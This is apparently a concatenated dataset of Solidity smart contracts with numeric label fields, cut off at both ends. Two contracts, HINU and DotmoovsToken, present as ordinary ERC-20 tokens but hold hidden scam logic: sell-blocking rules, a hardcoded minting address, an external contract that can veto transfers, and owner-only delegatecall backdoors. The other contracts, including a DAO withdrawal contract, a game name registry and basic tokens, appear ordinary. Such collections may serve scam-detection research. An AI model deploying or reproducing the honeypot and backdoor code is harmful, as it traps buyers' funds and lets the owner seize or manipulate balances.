_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract HINU { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
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1,930
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract DotmoovsToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000; string public name = "dotmoovs"; string public symbol = "MOOV"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wrappedEther, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_toAddresses.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses)); for(uint i = 0; i < _toAddresses.length; i++) { balanceOf[_toAddresses[i]] = _amounts[i]; emit Transfer(address(0x0), _toAddresses[i], _amounts[i]); } } }
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197
pragma solidity ^0.4.24; interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } interface TeamDreamInterface { function requiredSignatures() external view returns(uint256); function requiredDevSignatures() external view returns(uint256); function adminCount() external view returns(uint256); function devCount() external view returns(uint256); function adminName(address _who) external view returns(bytes32); function isAdmin(address _who) external view returns(bool); function isDev(address _who) external view returns(bool); } interface TeamDreamHubInterface { function deposit() external payable; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private owner; TeamDreamHubInterface public TeamDreamHub_; TeamDreamInterface public TeamDream_; MSFun.Data private msData; function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamDream_.requiredDevSignatures(), _whatFunction));} function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamDream_.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} uint256 public registrationFee_ = 10 finney; mapping(uint256 => PlayerBookReceiverInterface) public games_; mapping(address => bytes32) public gameNames_; mapping(address => uint256) public gameIDs_; uint256 public gID_; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Player) public plyr_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } constructor(address _TeamDreamHubSCaddress, address _TeamDreamSCaddress) public { owner = msg.sender; TeamDreamHub_ = TeamDreamHubInterface(_TeamDreamHubSCaddress); TeamDream_ = TeamDreamInterface(_TeamDreamSCaddress); plyr_[1].addr = owner; plyr_[1].name = "lb"; plyr_[1].names = 1; pIDxAddr_[owner] = 1; pIDxName_["lb"] = 1; plyrNames_[1]["lb"] = true; plyrNameList_[1][1] = "lb"; plyr_[2].addr = 0xEd5E1C52B48C8a6cfEc77DeB57Be61D097d2eE28; plyr_[2].name = "al"; plyr_[2].names = 1; pIDxAddr_[0xEd5E1C52B48C8a6cfEc77DeB57Be61D097d2eE28] = 2; pIDxName_["al"] = 2; plyrNames_[2]["al"] = true; plyrNameList_[2][1] = "al"; plyr_[3].addr = 0x059743e7B1086c852e0459ded4E8Bc254E7d93CD; plyr_[3].name = "tr"; plyr_[3].names = 1; pIDxAddr_[0x059743e7B1086c852e0459ded4E8Bc254E7d93CD] = 3; pIDxName_["tr"] = 3; plyrNames_[3]["tr"] = true; plyrNameList_[3][1] = "tr"; pID_ = 3; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyDevs() { require(TeamDream_.isDev(msg.sender) == true, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); plyr_[_pID].name = _name; } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } TeamDreamHub_.deposit.value(address(this).balance)(); if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true); } else { return (false); } } function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); if (multiSigDev("addGame") == true) {deleteProposal("addGame"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); } } function setRegistrationFee(uint256 _fee) onlyDevs() public { if (multiSigDev("setRegistrationFee") == true) {deleteProposal("setRegistrationFee"); registrationFee_ = _fee; } } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library MSFun { struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { bytes32 msgData; uint256 count; mapping (address => bool) admin; mapping (uint256 => address) log; } function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { bytes32 _whatProposal = whatProposal(_whatFunction); uint256 _currentCount = self.proposal_[_whatProposal].count; address _whichAdmin = msg.sender; bytes32 _msgData = keccak256(msg.data); if (_currentCount == 0) { self.proposal_[_whatProposal].msgData = _msgData; self.proposal_[_whatProposal].admin[_whichAdmin] = true; self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; self.proposal_[_whatProposal].count += 1; if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } else if (self.proposal_[_whatProposal].msgData == _msgData) { if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { self.proposal_[_whatProposal].admin[_whichAdmin] = true; self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; self.proposal_[_whatProposal].count += 1; } if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } function deleteProposal(Data storage self, bytes32 _whatFunction) internal { bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } delete self.proposal_[_whatProposal]; } function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, "MSFun checkSigner failed - 0 not allowed"); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } }
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2,931
contract DAO { function balanceOf(address addr) returns (uint); function transferFrom(address from, address to, uint balance) returns (bool); uint public totalSupply; } contract WithdrawDAO { DAO constant public mainDAO = DAO(0xbb9bc244d798123fde783fcc1c72d3bb8c189413); address public trustee = 0xcdf7D2D0BdF3511FFf511C62f3C218CF98A136eB; function withdraw(){ uint balance = mainDAO.balanceOf(msg.sender); if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance)) throw; } function trusteeWithdraw() { trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply()); } }
0
2,327
pragma solidity ^0.4.16; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract DANKSIGNALS is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function DANKSIGNALS( ) { balances[msg.sender] = 25000000000000000000000000000; totalSupply = 25000000000000000000000000000; name = "Dank Signals"; decimals = 18; symbol = "DANK"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
4,389
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 600000000; uint256 public buyPrice = 1; mapping (address => bool) 